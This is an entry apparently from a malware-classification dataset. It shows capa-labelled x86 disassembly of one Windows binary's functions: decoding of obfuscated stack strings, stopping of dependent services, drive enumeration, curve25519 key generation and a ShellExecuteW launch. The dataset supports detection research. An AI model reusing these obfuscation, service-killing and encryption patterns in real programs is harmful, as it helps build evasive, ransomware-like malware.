joyce8/EMBER2024-capa huggingface dataset:
Function at 0x42dcf0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4cc6c3
mov eax, dword fs:[0]
push eax
sub esp, 0x14
push ebx
push esi
push edi
mov eax, dword [0x4fd0b8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov ebx, ecx
mov dword [ebp - 0x10], ebx
mov eax, dword [ebx]
push 0
push 0
mov dword [ebp - 0x14], 0
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_istream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebx]
mov edx, dword [eax + 4]
lea eax, [edx - 0x18]
mov dword [edx + ebx - 4], eax
mov eax, dword [ebx]
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov edi, dword [eax + 4]
add edi, ebx
mov ecx, edi
mov dword [edi + 0x30], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0x201
mov dword [edi + 0x18], 6
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
call fcn.00426b90
push 8
call fcn.0047901e
mov esi, eax
xorps xmm0, xmm0
add esp, 4
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 2
call fcn.0047bcbc
mov dword [esi + 4], eax
add esp, 4
mov eax, dword [ebp + 8]
mov dword [edi + 0x30], esi
mov dword [edi + 0x38], eax
mov dword [edi + 0x3c], 0
mov dword [ebp - 4], 3
mov ecx, dword [esi + 4]
mov dword [ebp - 0x18], ecx
mov eax, dword [ecx]
call dword [eax + 4]
lea eax, [ebp - 0x1c]
mov dword [ebp - 4], 4
push eax
call fcn.0042fde0
add esp, 4
mov ecx, eax
mov edx, dword [eax]
push 0x20
call dword [edx + 0x30]
movzx esi, ax
mov dword [ebp - 4], 5
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x42de29
mov eax, dword [ecx]
call dword [eax + 8]
test eax, eax
je 0x42de29
mov edx, dword [eax]
mov ecx, eax
push 1
call dword [edx]
mov byte [ebp - 4], 1
cmp dword [edi + 0x38], 0
mov word [edi + 0x40], si
jne 0x42de47
mov eax, dword [edi + 0xc]
mov ecx, edi
or eax, 4
push 0
push eax
call fcn.00426b90
lea edx, [ebx + 0x10]
mov dword [ebp + 8], edx
mov eax, dword [edx]
mov eax, dword [eax + 4]
mov dword [edx + eax], vtable.std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [edx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 8]
mov dword [ecx + edx - 4], eax
mov eax, dword [ebx]
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_iostream_wchar_t__struct_std::char_traits_wchar_t__.0
mov eax, dword [ebx]
mov ecx, dword [eax + 4]
lea eax, [ecx - 0x20]
mov dword [ecx + ebx - 4], eax
mov eax, ebx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x42ee00
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4cc7d0
mov eax, dword fs:[0]
push eax
push esi
push edi
mov eax, dword [0x4fd0b8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
push 8
mov dword [edi], vtable.std::basic_streambuf_wchar_t__struct_std::char_traits_wchar_t__.0
call fcn.0047901e
mov esi, eax
xorps xmm0, xmm0
movq qword [esi], xmm0
push 1
mov dword [ebp - 4], 0
call fcn.0047bcbc
mov dword [esi + 4], eax
lea ecx, [edi + 8]
lea eax, [edi + 4]
mov dword [edi + 0x34], esi
mov dword [edi + 0xc], eax
add esp, 8
lea eax, [edi + 0x14]
mov dword [edi + 0x10], ecx
mov dword [edi + 0x1c], eax
lea eax, [edi + 0x18]
mov dword [edi + 0x20], eax
lea eax, [edi + 0x24]
mov dword [edi + 0x2c], eax
lea eax, [edi + 0x28]
mov dword [edi + 0x30], eax
mov dword [ecx], 0
mov eax, dword [edi + 0x20]
mov dword [eax], 0
mov eax, dword [edi + 0x30]
mov dword [eax], 0
mov eax, dword [edi + 0xc]
mov dword [eax], 0
mov eax, dword [edi + 0x1c]
mov dword [eax], 0
mov eax, dword [edi + 0x2c]
mov dword [eax], 0
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x430d10
Capabilities:
Encrypt data using curve25519

Disassembly:
mov eax, dword fs:[0x2c]
push esi
push edi
mov edi, ecx
mov esi, edx
mov ecx, dword [eax]
push 0x20
push esi
add ecx, 0x98
call fcn.00453d00
mov al, byte [esi + 0x1f]
and byte [esi], 0xf8
and al, 0x3f
or al, 0x40
push esi
push edi
mov byte [esi + 0x1f], al
call fcn.0045b0a0
add esp, 8
pop edi
pop esi
ret

Function at 0x430df0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov byte [0x5088c4], 0
push esi
call fcn.00430d50
mov byte [0x5088c4], al
test al, al
je 0x430ec3
mov byte [ebp - 0x1c], 0
mov byte [ebp - 0x1b], 0x4f
mov byte [ebp - 0x1a], 0xf
mov byte [ebp - 0x19], 0x31
mov byte [ebp - 0x18], 0xf
mov byte [ebp - 0x17], 0x19
mov byte [ebp - 0x16], 0xf
mov byte [ebp - 0x15], 0x49
mov byte [ebp - 0x14], 0xf
mov byte [ebp - 0x13], 0x19
mov byte [ebp - 0x12], 0xf
mov byte [ebp - 0x11], 0x42
mov byte [ebp - 0x10], 0xf
mov byte [ebp - 0xf], 0x53
mov byte [ebp - 0xe], 0xf
mov byte [ebp - 0xd], 0x49
mov byte [ebp - 0xc], 0xf
mov byte [ebp - 0xb], 0x36
mov byte [ebp - 0xa], 0xf
mov byte [ebp - 9], 0x1c
mov byte [ebp - 8], 0xf
mov byte [ebp - 7], 0x5a
mov byte [ebp - 6], 0xf
mov byte [ebp - 5], 0x5a
mov byte [ebp - 4], 0xf
mov byte [ebp - 3], 0xf
mov byte [ebp - 2], 0xf
mov al, byte [ebp - 0x1b]
cmp byte [ebp - 0x1c], 0
jne 0x430eb0
xor ecx, ecx
lea esi, [ecx + 0x7f]
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x1b]
movzx eax, al
sub eax, 0xf
imul eax, eax, 0x25
cdq
idiv esi
lea eax, [edx + 0x7f]
cdq
idiv esi
mov byte [ebp + ecx - 0x1b], dl
inc ecx
cmp ecx, 0x1a
jb 0x430e90
lea eax, [ebp - 0x1b]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
test eax, eax
setne byte [0x5088c4]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x4315e0
Capabilities:
Get disk size

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ccc40
mov eax, dword fs:[0]
push eax
sub esp, 0x34
mov eax, dword [0x4fd0b8]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x18], esi
mov dword [ebp - 0x28], esi
mov dword [ebp - 4], 0
xor eax, eax
movups xmm0, xmmword [ebp + 8]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
movups xmmword [esi], xmm0
mov word [ebp + 8], ax
movq xmm0, qword [ebp + 0x18]
movq qword [esi + 0x10], xmm0
mov dword [ebp + 0x18], 0
mov dword [ebp + 0x1c], 7
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x40]
push 0x4ed88c
mov edx, esi
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], eax
call fcn.00433020
add esp, 4
cmp dword [eax + 0x14], 8
jb 0x431675
mov eax, dword [eax]
lea ecx, [ebp - 0x1c]
push ecx
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x18]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
mov edx, dword [ebp - 0x2c]
test eax, eax
sete byte [ebp - 0x21]
cmp edx, 8
jb 0x4316c8
mov ecx, dword [ebp - 0x40]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4316be
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43172e
push edx
push ecx
call fcn.0047904e
add esp, 8
cmp byte [ebp - 0x21], 0
mov ecx, 0x200
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp + 0x1c]
cmovne eax, ecx
mov dword [esi + 0x18], eax
cmp edx, 8
jb 0x431710
mov ecx, dword [ebp + 8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x431706
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x431733
push edx
push ecx
call fcn.0047904e
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0047900d
mov esp, ebp
pop ebp
ret 0x1c
call fcn.0049a859
call fcn.0049a859
int3
Function at 0x431ca0
Capabilities:
Get disk information

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4ccced
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0x238
mov eax, dword [0x4fd0b8]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x240], esi
mov dword [ebp - 0x244], esi
xorps xmm0, xmm0
mov dword [ebp - 0x224], 0
movq qword [esi], xmm0
mov dword [esi + 8], 0
mov dword [esi], 0
mov dword [esi + 4], 0
mov dword [esi + 8], 0
push 0x208
lea eax, [ebp - 0x220]
mov dword [ebp - 4], 0
push 0
push eax
mov dword [ebp - 0x224], 1
call fcn.004923f0
add esp, 0xc
lea eax, [ebp - 0x220]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
dec eax
cmp eax, 0x103
ja 0x431e5e
cmp word [ebp - 0x220], 0
lea edi, [ebp - 0x220]
je 0x431e5e
nop dword [eax]
nop dword [eax + eax]
push 2
xor eax, eax
mov dword [ebp - 0x22c], 0
push edi
lea ecx, [ebp - 0x23c]
mov dword [ebp - 0x228], 7
mov word [ebp - 0x23c], ax
call fcn.0042d9b0
mov dword [ebp - 4], 1
mov eax, dword [esi + 4]
cmp dword [esi + 8], eax
je 0x431de5
movups xmm0, xmmword [ebp - 0x23c]
mov edx, 7
movups xmmword [eax], xmm0
movq xmm0, qword [ebp - 0x22c]
movq qword [eax + 0x10], xmm0
xor eax, eax
add dword [esi + 4], 0x18
mov word [ebp - 0x23c], ax
jmp 0x431dfa
lea ecx, [ebp - 0x23c]
push ecx
push eax
mov ecx, esi
call fcn.00433160
mov edx, dword [ebp - 0x228]
mov byte [ebp - 4], 0
cmp edx, 8
jb 0x431e34
mov ecx, dword [ebp - 0x23c]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x431e2a
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x431e7e
push edx
push ecx
call fcn.0047904e
add esp, 8
mov eax, edi
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x431e40
sub eax, edx
sar eax, 1
lea edi, [edi + eax*2]
add edi, 2
cmp word [edi], cx
jne 0x431d80
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0047900d
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0049a859
int3
Function at 0x434660
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 0x10]
xor ecx, ecx
test esi, esi
je 0x43468b
mov edx, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
movzx eax, byte [ecx + edi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, esi
jb 0x434674
pop edi
mov eax, edx
pop esi
pop ebp
ret
mov eax, dword [ebp + 8]
pop esi
pop ebp
ret
Function at 0x435090
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
push esi
mov esi, ecx
mov dword [ebp - 4], esi
mov byte [ebp - 0x24], 0
mov byte [ebp - 0x23], 0x6b
mov byte [ebp - 0x22], 0x10
mov byte [ebp - 0x21], 0x74
mov byte [ebp - 0x20], 0x10
mov byte [ebp - 0x1f], 0x2d
mov byte [ebp - 0x1e], 0x10
mov byte [ebp - 0x1d], 0x3c
mov byte [ebp - 0x1c], 0x10
mov byte [ebp - 0x1b], 0x78
mov byte [ebp - 0x1a], 0x10
mov byte [ebp - 0x19], 0x44
mov byte [ebp - 0x18], 0x10
mov byte [ebp - 0x17], 0x5e
mov byte [ebp - 0x16], 0x10
mov byte [ebp - 0x15], 4
mov byte [ebp - 0x14], 0x10
mov byte [ebp - 0x13], 0x4b
mov byte [ebp - 0x12], 0x10
mov byte [ebp - 0x11], 0x3c
mov byte [ebp - 0x10], 0x10
mov byte [ebp - 0xf], 0x17
mov byte [ebp - 0xe], 0x10
mov byte [ebp - 0xd], 4
mov byte [ebp - 0xc], 0x10
mov byte [ebp - 0xb], 0x4b
mov byte [ebp - 0xa], 0x10
mov byte [ebp - 9], 0x6d
mov byte [ebp - 8], 0x10
mov byte [ebp - 7], 0x10
mov byte [ebp - 6], 0x10
mov al, byte [ebp - 0x23]
cmp byte [ebp - 0x24], 0
jne 0x435158
push ebx
push edi
xor edi, edi
lea ebx, [edi + 0x7f]
nop dword [eax + eax]
mov al, byte [ebp + edi - 0x23]
movzx ecx, al
sub ecx, 0x10
mov eax, ecx
shl eax, 4
add eax, ecx
add eax, eax
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + edi - 0x23], dl
inc edi
cmp edi, 0x1e
jb 0x435130
pop edi
pop ebx
xor eax, eax
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 7
mov word [esi], ax
lea eax, [ebp - 0x23]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x435171
sub eax, edx
mov ecx, esi
sar eax, 1
push eax
lea eax, [ebp - 0x23]
push eax
call fcn.0042d9b0
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x439430
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4cd138
mov eax, dword fs:[0]
push eax
sub esp, 0x4c
push ebx
push esi
push edi
mov eax, dword [0x4fd0b8]
xor eax, ebp
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov dword [ebp - 0x3c], edi
mov byte [ebp - 0x38], 0
mov byte [ebp - 0x37], 0x53
mov byte [ebp - 0x36], 0x68
mov byte [ebp - 0x35], 0x69
mov byte [ebp - 0x34], 0x68
mov byte [ebp - 0x33], 0xa
mov byte [ebp - 0x32], 0x68
mov byte [ebp - 0x31], 0x6f
mov byte [ebp - 0x30], 0x68
mov byte [ebp - 0x2f], 0x6c
mov byte [ebp - 0x2e], 0x68
mov byte [ebp - 0x2d], 4
mov byte [ebp - 0x2c], 0x68
mov byte [ebp - 0x2b], 0x41
mov byte [ebp - 0x2a], 0x68
mov byte [ebp - 0x29], 0x4d
mov byte [ebp - 0x28], 0x68
mov byte [ebp - 0x27], 4
mov byte [ebp - 0x26], 0x68
mov byte [ebp - 0x25], 0x12
mov byte [ebp - 0x24], 0x68
mov byte [ebp - 0x23], 0x46
mov byte [ebp - 0x22], 0x68
mov byte [ebp - 0x21], 0xc
mov byte [ebp - 0x20], 0x68
mov byte [ebp - 0x1f], 0x54
mov byte [ebp - 0x1e], 0x68
mov byte [ebp - 0x1d], 0x12
mov byte [ebp - 0x1c], 0x68
mov byte [ebp - 0x1b], 0x3d
mov byte [ebp - 0x1a], 0x68
mov byte [ebp - 0x19], 6
mov byte [ebp - 0x18], 0x68
mov byte [ebp - 0x17], 0x33
mov byte [ebp - 0x16], 0x68
mov byte [ebp - 0x15], 9
mov byte [ebp - 0x14], 0x68
mov byte [ebp - 0x13], 0x20
mov byte [ebp - 0x12], 0x68
mov byte [ebp - 0x11], 9
mov byte [ebp - 0x10], 0x68
mov byte [ebp - 0xf], 0x68
mov byte [ebp - 0xe], 0x68
mov al, byte [ebp - 0x37]
cmp byte [ebp - 0x38], 0
mov dword [ebp - 0x3c], edi
jne 0x439544
xor esi, esi
lea ebx, [esi + 0x7f]
nop word [eax + eax]
mov al, byte [ebp + esi - 0x37]
mov ecx, 0x68
movzx eax, al
sub ecx, eax
imul eax, ecx, 0x2c
cdq
idiv ebx
lea eax, [edx + 0x7f]
cdq
idiv ebx
mov byte [ebp + esi - 0x37], dl
inc esi
cmp esi, 0x2a
jb 0x439520
xor eax, eax
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x37]
mov dword [ebp - 0x40], 7
mov word [ebp - 0x54], ax
lea edx, [ecx + 2]
nop
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x439560
sub ecx, edx
lea eax, [ebp - 0x37]
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x54]
call fcn.0042d9b0
lea edx, [ebp - 0x54]
mov dword [ebp - 4], 0
mov ecx, edi
call fcn.004427d0
mov edx, dword [ebp - 0x40]
cmp edx, 8
jb 0x4395c3
mov ecx, dword [ebp - 0x54]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4395b9
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4395d7
push edx
push ecx
call fcn.0047904e
add esp, 8
mov eax, edi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0049a859
int3
Function at 0x444f10
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov edi, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
mov dword [ebp - 8], eax
cmp dword [edi + 0x1c], 8
lea esi, [edi + 8]
mov ebx, dword [edi + 0x18]
jb 0x444f34
mov esi, dword [edi + 8]
xor ecx, ecx
mov edx, 0x811c9dc5
add ebx, ebx
je 0x444f51
nop
movzx eax, byte [ecx + esi]
inc ecx
xor eax, edx
imul edx, eax, 0x1000193
cmp ecx, ebx
jb 0x444f40
mov ebx, dword [ebp - 4]
mov eax, dword [ebx + 0x18]
mov ecx, dword [ebx + 0xc]
and eax, edx
lea edx, [eax*8]
mov eax, dword [ecx + edx]
add ecx, edx
cmp dword [ecx + 4], edi
jne 0x444f8a
cmp eax, edi
jne 0x444f82
mov eax, dword [ebx + 4]
mov dword [ecx], eax
mov ecx, dword [ebx + 0xc]
mov eax, dword [ebx + 4]
mov dword [edx + ecx + 4], eax
jmp 0x444f92
mov eax, dword [edi + 4]
mov dword [ecx + 4], eax
jmp 0x444f92
cmp eax, edi
jne 0x444f92
mov eax, dword [edi]
mov dword [ecx], eax
mov eax, dword [edi + 4]
lea ecx, [edi + 8]
mov esi, dword [edi]
mov dword [eax], esi
mov edx, dword [edi]
mov eax, dword [edi + 4]
mov dword [edx + 4], eax
dec dword [ebx + 8]
call fcn.00442d60
push 0x38
push edi
call fcn.0047904e
mov eax, dword [ebp - 8]
add esp, 8
pop edi
mov dword [eax], esi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x449760
Capabilities:
Check for time delay via gettickcount
Enumerate services
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x4f6810
push 0x491620
mov eax, dword fs:[0]
push eax
sub esp, 0x70
mov eax, dword [0x4fd0b8]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov esi, ecx
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov dword [ebp - 0x54], eax
test eax, eax
je 0x4498c6
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x48]
push eax
push 0
push 0
push 1
push esi
mov edi, dword [sym.imp.ADVAPI32.dll_EnumDependentServicesW]
call edi
test eax, eax
jne 0x4498c6
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xea
jne 0x4498c6
push dword [ebp - 0x48]
call fcn.0049cf1a
add esp, 4
mov dword [ebp - 0x50], eax
test eax, eax
je 0x4498c6
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x20]
push ecx
lea ecx, [ebp - 0x48]
push ecx
push dword [ebp - 0x48]
push eax
push 1
push esi
call edi
test eax, eax
je 0x4498b3
xor edi, edi
mov dword [ebp - 0x4c], edi
cmp edi, dword [ebp - 0x20]
jae 0x449902
lea eax, [edi + edi*8]
mov ecx, dword [ebp - 0x50]
movups xmm1, xmmword [ecx + eax*4]
movups xmm0, xmmword [ecx + eax*4 + 0x10]
movups xmmword [ebp - 0x70], xmm0
mov eax, dword [ecx + eax*4 + 0x20]
mov dword [ebp - 0x60], eax
push 0x24
movd eax, xmm1
push eax
push dword [ebp - 0x54]
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
mov dword [ebp - 0x5c], esi
test esi, esi
je 0x4498b3
mov dword [ebp - 4], 1
lea eax, [ebp - 0x44]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x4498b3
cmp dword [ebp - 0x40], 1
je 0x4498e2
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x48]
push eax
push 0x24
lea eax, [ebp - 0x44]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x4498b3
cmp dword [ebp - 0x40], 1
je 0x4498e2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, dword [ebp - 0x58]
cmp eax, 0x7530
jbe 0x449877
push 0xfffffffffffffffe
lea eax, [ebp - 0x10]
push eax
push 0x4fd0b8
call fcn.004949b0
add esp, 0xc
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0047900d
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0
call fcn.004498fa
inc edi
jmp 0x449820
mov dword [ebp - 4], 0xfffffffe
call fcn.00449910
jmp 0x4498c6
Function at 0x449920
Capabilities:
Check for time delay via gettickcount
Query service status
Stop service

Disassembly:
push ebp
mov ebp, esp
push 0xfffffffffffffffe
push 0x4f6838
push 0x491620
mov eax, dword fs:[0]
push eax
sub esp, 0x40
mov eax, dword [0x4fd0b8]
xor dword [ebp - 8], eax
xor eax, ebp
mov dword [ebp - 0x1c], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0x10]
mov dword fs:[0], eax
mov esi, ecx
mov edi, dword [sym.imp.KERNEL32.dll_GetTickCount]
call edi
mov dword [ebp - 0x48], eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov ebx, eax
mov dword [ebp - 0x4c], ebx
test ebx, ebx
je 0x44999a
cmp dword [esi + 0x14], 8
jb 0x449980
mov esi, dword [esi]
push 0x2c
push esi
push ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
mov dword [ebp - 0x50], esi
test esi, esi
jne 0x4499b6
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x1c]
xor ecx, ebp
call fcn.0047900d
mov esp, ebp
pop ebp
ret
mov dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x24
lea eax, [ebp - 0x44]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x449a98
mov eax, dword [ebp - 0x40]
cmp eax, 1
je 0x449a98
mov ecx, 0x2710
cmp eax, 3
jne 0x449a46
mov eax, 0xcccccccd
mul dword [ebp - 0x2c]
shr edx, 3
cmp edx, 0x3e8
jae 0x449a08
mov edx, 0x3e8
jmp 0x449a11
cmp edx, 0x2710
cmova edx, ecx
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x20]
push eax
push 0x24
lea eax, [ebp - 0x44]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x449a98
cmp dword [ebp - 0x40], 1
je 0x449a98
call edi
sub eax, dword [ebp - 0x48]
cmp eax, 0x7530
ja 0x449a98
mov eax, dword [ebp - 0x40]
jmp 0x4499e4
mov ecx, esi
call fcn.00449760
lea eax, [ebp - 0x44]
push eax
push 1
push esi
call dword [sym.imp.ADVAPI32.dll_ControlService]
test eax, eax
je 0x449a98
nop
cmp dword [ebp - 0x40], 1
je 0x449ab0
push dword [ebp - 0x2c]
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x20]
push eax
push 0x24
lea eax, [ebp - 0x44]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x449a98
cmp dword [ebp - 0x40], 1
je 0x449ab0
call edi
sub eax, dword [ebp - 0x48]
cmp eax, 0x7530
jbe 0x449a60
push 0xfffffffffffffffe
lea eax, [ebp - 0x10]
push eax
push 0x4fd0b8
call fcn.004949b0
add esp, 0xc
jmp 0x44999a
mov dword [ebp - 4], 0xfffffffe
call fcn.00449ac7
jmp 0x44999a
Function at 0x44ca10
Capabilities:
Contain obfuscated stackstrings
Create process on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2c
push ebx
mov ebx, dword [sym.imp.SHELL32.dll_ShellExecuteW]
push esi
push edi
xor edi, edi
mov dword [esp + 0x10], 0x7f
nop dword [eax]
lea ecx, [esp + 0x20]
call fcn.00439430
mov esi, eax
cmp dword [esi + 0x14], 8
jb 0x44ca43
mov esi, dword [esi]
mov byte [esp + 0x14], 0
mov byte [esp + 0x15], 0x62
mov byte [esp + 0x16], 0x3a
mov byte [esp + 0x17], 0x20
mov byte [esp + 0x18], 0x3a
mov byte [esp + 0x19], 0x7b
mov byte [esp + 0x1a], 0x3a
mov byte [esp + 0x1b], 0x25
mov byte [esp + 0x1c], 0x3a
mov byte [esp + 0x1d], 0x3a
mov byte [esp + 0x1e], 0x3a
mov al, byte [esp + 0x15]
cmp byte [esp + 0x14], 0
jne 0x44cab4
xor ecx, ecx
nop word [eax + eax]
mov al, byte [esp + ecx + 0x15]
movzx eax, al
sub eax, 0x3a
imul eax, eax, 0x19
cdq
idiv dword [esp + 0x10]
lea eax, [edx + 0x7f]
cdq
idiv dword [esp + 0x10]
mov byte [esp + ecx + 0x15], dl
inc ecx
cmp ecx, 0xa
jb 0x44ca90
push 5
push 0
push 0
push esi
lea eax, [esp + 0x25]
push eax
push 0
call ebx
mov edx, dword [esp + 0x34]
cmp edx, 8
jb 0x44cafc
mov eax, dword [esp + 0x20]
lea edx, [edx*2 + 2]
mov ecx, eax
cmp edx, 0x1000
jb 0x44caf2
mov eax, dword [eax - 4]
add edx, 0x23
sub ecx, eax
add ecx, 0xfffffffc
cmp ecx, 0x1f
ja 0x44cb0d
push edx
push eax
call fcn.0047904e
add esp, 8
inc edi
cmp edi, 1
jl 0x44ca30
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
call fcn.0049a859
int3